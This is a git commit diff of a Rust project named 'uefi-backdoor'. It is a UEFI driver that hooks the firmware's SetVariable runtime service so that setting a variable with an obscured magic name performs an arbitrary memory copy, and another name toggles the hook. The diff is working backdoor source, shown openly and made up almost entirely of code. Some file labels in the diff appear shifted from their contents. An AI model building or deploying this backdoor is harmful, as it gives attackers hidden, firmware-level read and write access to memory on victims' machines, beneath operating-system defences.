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Author: cppio

.cargo/config

@@ -0,0 +1,5 @@
+[build]
+target = "x86_64-unknown-uefi"
+
+[target.x86_64-unknown-uefi]
+rustflags = ["-Ccode-model=small", "-Clink-arg=/debug:none"]

.gitignore

@@ -1,10 +1 @@
-# Generated by Cargo
-# will have compiled files and executables
-/target/
-
-# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
-# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
-Cargo.lock
-
-# These are backup files generated by rustfmt
-**/*.rs.bk
+/target

Cargo.lock

@@ -0,0 +1,21 @@
+[package]
+name = "uefi-backdoor"
+version = "0.1.0"
+edition = "2018"
+
+[profile.dev]
+panic = "abort"
+
+[profile.release]
+codegen-units = 1
+lto = true
+panic = "abort"
+
+[package.metadata.cargo-xbuild]
+panic_immediate_abort = true
+
+[dependencies]
+ezhook = "0.1.0"
+panic-abort = "0.3.2"
+r-efi = "3.0.0"
+uefi = "0.4.6"

Cargo.toml

@@ -0,0 +1 @@
+nightly-2020-06-15

rust-toolchain

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+#![no_std]
+#![no_main]
+#![feature(abi_efiapi)]
+
+extern crate panic_abort;
+
+#[macro_use]
+mod util;
+use util::*;
+
+use core::mem;
+use ezhook::remote_hook;
+use uefi::{prelude::*, table::boot::Tpl, Guid};
+
+remote_hook! {
+    #[hook]
+    unsafe extern "efiapi" fn set_variable_hook(
+        variable_name: *const u16,
+        vendor_guid: *const Guid,
+        attributes: u32,
+        data_size: usize,
+        data: *const u8,
+    ) -> Status {
+        if !variable_name.is_null() {
+            if eq(variable_name, &COPY_VARIABLE_NAME) {
+                if data_size == mem::size_of::<CopyData>() {
+                    copy(&*(data as *const CopyData));
+                }
+
+                return Status::SUCCESS
+            }
+
+            if eq(variable_name, &UNHOOK_VARIABLE_NAME) {
+                toggle!();
+
+                return Status::SUCCESS
+            }
+
+            // TODO: store the remote location for proper unhooking
+        }
+
+        orig!(variable_name, vendor_guid, attributes, data_size, data)
+    }
+
+    unsafe fn eq(a: *const u16, b: &[u8]) -> bool {
+        b.iter().enumerate().all(|(n, i)| *a.add(n) == *i as u16)
+    }
+
+    static COPY_VARIABLE_NAME: [u8; 15] = *b"onpxqbbe::pbcl\0";
+
+    #[repr(C)]
+    struct CopyData {
+        src: *const u8,
+        dst: *mut u8,
+        count: usize,
+    }
+
+    unsafe fn copy(data: &CopyData) {
+        for i in 0..data.count {
+            *data.dst.add(i) = *data.src.add(i);
+        }
+    }
+
+    static UNHOOK_VARIABLE_NAME: [u8; 17] = *b"onpxqbbe::haubbx\0";
+}
+
+fn main() -> Status {
+    let set_variable = raw_runtime_services().set_variable;
+    println!("[+] set_variable = {:x}", set_variable as usize);
+
+    let region = unwrap!(region_containing(set_variable as _));
+    println!("[+] region = {:x}:{:x}", region.start, region.end);
+    let region = unsafe { range_to_slice(region) };
+
+    let location = unwrap!(search_for_contiguous(region, 0, unsafe {
+        set_variable_hook::len()
+    }));
+    let start = location.as_ptr() as usize;
+    println!("[+] location = {:x}:{:x}", start, start + location.len());
+
+    unsafe {
+        let hook = set_variable_hook::copy_to(location);
+        hook.hook(mem::transmute(set_variable));
+
+        let guard = system_table().boot_services().raise_tpl(Tpl::NOTIFY);
+        hook.toggle();
+        mem::drop(guard);
+    }
+
+    Status::SUCCESS
+}

src/main.rs

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+use core::{
+    mem::{self, MaybeUninit},
+    ops::Range,
+    slice,
+};
+
+use r_efi::{protocols::simple_text_output, system::RuntimeServices as RawRuntimeServices};
+use uefi::{prelude::*, proto::console::text::Color, Completion};
+
+static mut SYSTEM_TABLE: MaybeUninit<SystemTable<Boot>> = MaybeUninit::uninit();
+
+pub fn system_table() -> &'static SystemTable<Boot> {
+    unsafe { &*SYSTEM_TABLE.as_ptr() }
+}
+
+pub fn raw_runtime_services() -> &'static RawRuntimeServices {
+    unsafe { &*(system_table().runtime_services() as *const _ as *const _) }
+}
+
+macro_rules! print {
+    ($($arg:tt)*) => { {
+        use ::core::fmt::Write;
+        let _ = ::core::write!($crate::util::system_table().stdout(), $($arg)*);
+    } }
+}
+
+macro_rules! println {
+    ($($arg:tt)*) => { {
+        use ::core::fmt::Write;
+        let _ = ::core::writeln!($crate::util::system_table().stdout(), $($arg)*);
+    } }
+}
+
+#[entry]
+fn efi_main(_image_handle: Handle, system_table: SystemTable<Boot>) -> Status {
+    unsafe { SYSTEM_TABLE = MaybeUninit::new(system_table) };
+
+    main();
+
+    Status::LOAD_ERROR
+}
+
+fn main() {
+    let stdout = system_table().stdout();
+
+    let (foreground, background) = unsafe {
+        let raw_stdout = &*(stdout as *const _ as *const simple_text_output::Protocol);
+        let mode = &*raw_stdout.mode;
+        mem::transmute((
+            (mode.attribute & 0xF) as u8,
+            (mode.attribute >> 4 & 0x7) as u8,
+        ))
+    };
+
+    match crate::main() {
+        Status::SUCCESS => {
+            let _ = stdout.set_color(Color::LightGreen, background);
+            println!("╔══════════╗");
+            println!("║ Success! ║");
+            println!("╚══════════╝");
+        }
+        status => {
+            let _ = stdout.set_color(Color::LightRed, background);
+            println!("[-] error: {:?}", status);
+        }
+    }
+
+    let _ = stdout.set_color(Color::White, background);
+    print!("Press any key to continue...");
+    let _ = stdout.set_color(foreground, background);
+
+    let stdin = system_table().stdin();
+    let _ = system_table()
+        .boot_services()
+        .wait_for_event(&mut [stdin.wait_for_key_event()]);
+    let _ = stdin.read_key();
+
+    println!();
+}
+
+macro_rules! unwrap {
+    ($expr:expr) => {
+        $expr?.split().1
+    };
+}
+
+static mut BUFFER: [u8; 4096] = [0; 4096];
+
+pub fn region_containing(address: usize) -> uefi::Result<Range<usize>> {
+    let (status, (_, descriptors)) = system_table()
+        .boot_services()
+        .memory_map(unsafe { &mut BUFFER })?
+        .split();
+
+    let region = descriptors
+        .map(|descriptor| {
+            let start = descriptor.phys_start as usize;
+            let end = start + descriptor.page_count as usize * 4096;
+
+            start..end
+        })
+        .find(|region| region.contains(&address));
+
+    match region {
+        Some(region) => Ok(Completion::new(status, region)),
+        None => Err(Status::NOT_FOUND.into()),
+    }
+}
+
+pub unsafe fn range_to_slice(range: Range<usize>) -> &'static mut [u8] {
+    slice::from_raw_parts_mut(range.start as _, range.len())
+}
+
+pub fn search_for_contiguous(slice: &mut [u8], item: u8, count: usize) -> uefi::Result<&mut [u8]> {
+    let mut current = 0;
+
+    for (n, i) in slice.iter().enumerate() {
+        if *i == item {
+            current += 1;
+
+            if current == count {
+                let slice = &mut slice[n + 1 - count..n + 1];
+
+                return Ok(slice.into());
+            }
+        } else if current != 0 {
+            current = 0;
+        }
+    }
+
+    Err(Status::NOT_FOUND.into())
+}